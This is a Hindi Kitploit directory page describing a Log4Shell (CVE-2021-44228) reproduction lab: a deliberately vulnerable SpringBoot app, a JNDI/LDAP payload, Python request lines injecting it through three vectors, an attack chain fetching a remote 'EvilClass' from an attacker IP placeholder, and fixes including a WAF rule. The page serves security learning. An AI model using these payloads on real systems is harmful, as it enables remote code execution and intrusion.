Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/14free/log4j2-vuln-lab
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षापेलोड डेवलपमेंटलैब और अभ्यास
GitHub14free/log4j2-vuln-lab

log4j2-vuln-lab

CVE-2021-44228 (Log4Shell) भेद्यता पुनरुत्पादन लक्ष्य | SpringBoot + Log4j2 2.14.1 | 3 आक्रमण वैक्टर PoC सत्यापन

रिपॉजिटरी देखें
19घं 36मि पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

⚠️ अस्वीकरण: यह परियोजना केवल सुरक्षा सीखने और तकनीकी अनुसंधान के लिए है। सभी कमजोरियों वाले वातावरण स्थानीय रूप से स्थापित किए गए हैं, और किसी वास्तविक लक्ष्य का परीक्षण नहीं किया गया है। कृपया इसे अवैध उद्देश्यों के लिए उपयोग न करें। इस परियोजना का उपयोग करने का जोखिम उपयोगकर्ता स्वयं वहन करेगा।

Log4j2 कमजोरी पुनरुत्पादन प्रयोगशाला (CVE-2021-44228)

कमजोरी परिचय

Log4j2 जावा पारिस्थितिकी तंत्र में सबसे व्यापक रूप से उपयोग किया जाने वाला लॉगिंग फ्रेमवर्क है। इसमें एक Lookup सुविधा है जो लॉग में ${...} सिंटैक्स के साथ गतिशील सामग्री डालने की अनुमति देती है। संस्करण 2.14.1 और उससे नीचे में, जब लॉग सामग्री में ${jndi:...} दिखाई देता है, तो Log4j2 स्वचालित रूप से निर्दिष्ट पते पर JNDI अनुरोध भेजता है, जिससे हमलावर दूरस्थ कोड निष्पादन (RCE) प्राप्त कर सकता है।

इस कमजोरी को CVE-2021-44228 नामित किया गया है, CVSS स्कोर 10.0 (पूर्ण अंक), ट्रिगर करने की स्थिति बेहद सरल है, यह लगभग सभी Java अनुप्रयोगों को प्रभावित करती है जो Log4j2 का उपयोग करते हैं, और शोषण की लागत बेहद कम है।

वातावरण स्थापना

पूर्वापेक्षाएँ: JDK 8+, Maven, Python 3, requests लाइब्रेरी

चरण 1: कमजोरी प्रयोगशाला शुरू करें

IDEA के साथ परियोजना खोलें, VulnApplication.java चलाएँ, निम्नलिखित आउटपुट देखने पर सफल शुरुआत का संकेत मिलता है:

root@kitploit:~
Tomcat started on port(s): 8080 (http)
Started VulnApplication in 1.1 seconds

चरण 2: PoC स्क्रिप्ट चलाएँ

root@kitploit:~
cd exploit
pip install requests
python exploit.py

कमजोरी पुनरुत्पादन

Payload निर्माण

root@kitploit:~
${jndi:ldap://127.0.0.1:1389/EvilClass}

हमला वेक्टर 1: GET पैरामीटर

URL पैरामीटर के माध्यम से payload इंजेक्ट करें, logger.info("User Login: {}", username) ट्रिगर करें:

root@kitploit:~
r = requests.get(f"{target_url}/login", params={"username": payload}, timeout=5)

हमला वेक्टर 2: User-Agent अनुरोध हेडर

HTTP अनुरोध हेडर के माध्यम से payload इंजेक्ट करें, logger.info("User-Agent: {}", headers) ट्रिगर करें:

root@kitploit:~
r = requests.get(f"{target_url}/api/headers", headers={"User-Agent": payload}, timeout=5)

हमला वेक्टर 3: POST अनुरोध बॉडी

POST अनुरोध बॉडी के माध्यम से payload इंजेक्ट करें, logger.info("Data: {}", body) ट्रिगर करें:

root@kitploit:~
r = requests.post(f"{target_url}/api/data", data=payload, timeout=5)

पुनरुत्पादन परिणाम

root@kitploit:~
[+] कनेक्शन प्राप्त हुआ! 127.0.0.1:51631 से
[+] कमजोरी की पुष्टि! Log4j2 ने JNDI अनुरोध भेजा
[+] CVE-2021-44228 पुनरुत्पादन सफल

सुनने वाला अंत प्रयोगशाला से TCP कनेक्शन प्राप्त करता है, जो दर्शाता है कि Log4j2 ने ${jndi:...} को पार्स किया और LDAP अनुरोध भेजा, कमजोरी की पुष्टि हुई।

कमजोरी का सिद्धांत

Lookup तंत्र

Log4j2 की Lookup सुविधा लॉग में ${...} सिंटैक्स के साथ गतिशील सामग्री डालने की अनुमति देती है, जैसे ${env:PATH} पर्यावरण चर पढ़ता है, ${sys:user.dir} सिस्टम गुण पढ़ता है।

JNDI इंजेक्शन

JNDI (Java Naming and Directory Interface) जावा का नामकरण और निर्देशिका इंटरफ़ेस है। इसे एक पता दें, यह खोज कर परिणाम लौटाता है। यदि लौटाया गया परिणाम एक Java क्लास है, तो JVM स्वचालित रूप से इसे लोड और निष्पादित करता है।

पूर्ण हमला श्रृंखला

root@kitploit:~
① हमलावर इनपुट फ़ील्ड में लिखता है: ${jndi:ldap://हमलावर_IP:1389/EvilClass}
    ↓
② वेबसाइट इनपुट प्राप्त करती है, logger.info() के साथ लॉग लिखती है
    ↓
③ Log4j2 लॉग सामग्री पार्स करता है, ${jndi:ldap://...} पाता है
    ↓
④ Log4j2 LDAP अनुरोध भेजता है → हमलावर सर्वर से कनेक्ट होता है
    ↓
⑤ हमलावर का LDAP सर्वर लौटाता है: "इस पते से EvilClass.class डाउनलोड करें"
    ↓
⑥ पीड़ित सर्वर EvilClass क्लास डाउनलोड और लोड करता है
    ↓
⑦ EvilClass का static कोड ब्लॉक स्वचालित रूप से निष्पादित होता है → RCE (दूरस्थ कोड निष्पादन)

सुधार समाधान

  1. Log4j2 संस्करण अपग्रेड करें: 2.17.1 या उससे ऊपर अपग्रेड करें, यह संस्करण JNDI Lookup सुविधा अक्षम करता है
  2. Lookup अक्षम करने के लिए पर्यावरण चर सेट करें: स्टार्टअप पैरामीटर में -Dlog4j2.formatMsgNoLookups=true जोड़ें
  3. WAF अवरोधन: वेब एप्लिकेशन फ़ायरवॉल में नियम जोड़ें, ${jndi: वाले अनुरोधों को रोकें

परियोजना संरचना

root@kitploit:~
log4j2-vuln-lab/
├── pom.xml                          # Maven कॉन्फ़िगरेशन, Log4j2 2.14.1 कमजोरी संस्करण निर्दिष्ट करता है
├── exploit/
│   └── exploit.py                   # PoC शोषण स्क्रिप्ट, 3 हमला वेक्टर + TCP सुनना सत्यापन
└── src/main/
    ├── java/com/vuln/log4j/
    │   ├── VulnApplication.java     # SpringBoot स्टार्टअप क्लास
    │   └── controller/
    │       └── UserController.java  # 3 कमजोरी इंजेक्शन बिंदु (GET पैरामीटर/UA हेडर/POST बॉडी)
    └── resources/
        ├── application.yml          # पोर्ट नंबर + लॉग स्तर कॉन्फ़िगरेशन
        └── log4j2.xml               # Log4j2 कॉन्फ़िगरेशन फ़ाइल
टूल डाउनलोड करें